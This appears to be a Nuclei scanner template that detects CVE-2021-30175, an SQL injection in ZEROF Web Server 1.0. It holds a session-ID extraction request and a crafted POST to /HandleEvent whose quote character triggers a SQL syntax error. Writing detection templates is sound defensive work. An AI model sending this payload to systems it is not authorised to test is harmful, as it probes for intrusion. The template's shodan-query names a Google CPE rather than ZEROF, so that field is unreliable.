id: CVE-2021-30175

info:
  name: ZEROF Web Server 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 1.0.
  reference:
    - https://github.com/awillix/research/blob/main/cve/CVE-2021-30175.md
    - https://pro.zerof.ru
    - https://github.com/awillix/research
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30175
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30175
    cwe-id: CWE-89
    epss-score: 0.08548
    epss-percentile: 0.94512
    cpe: cpe:2.3:a:zerof:web_server:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zerof
    product: web_server
    shodan-query: cpe:"cpe:2.3:a:google:web_server"
  tags: cve2021,cve,zerof,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "_S_ID", "<title>ZEROF Web Server</title>")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: s_id
        internal: true
        group: 1
        regex:
          - '_S_ID="_S_ID=(.*?)";'

  - raw:
      - |
        POST /HandleEvent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Ajax=1&IsEvent=1&Obj=O4F&Evt=click&this=O4F&"_fp_=_S_ID={{s_id}}&O33=%020%02%02'&O37=%020%02%02fff"&_seq_=2&_uo_=O

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "You have an error in your SQL syntax"

      - type: word
        part: header
        words:
          - "ZEROF"

      - type: status
        status:
          - 200
# digest: 490a004630440220202ec678f9b526b24d18044e551256ca78477906398b749bfac9d9737d8e10ab02205c9923198bc3fee7aa3a99faa202ceb699b3e059c8a4b9b2f0bad7f0abaa7378:922c64590222798bb761d5b6d8e72950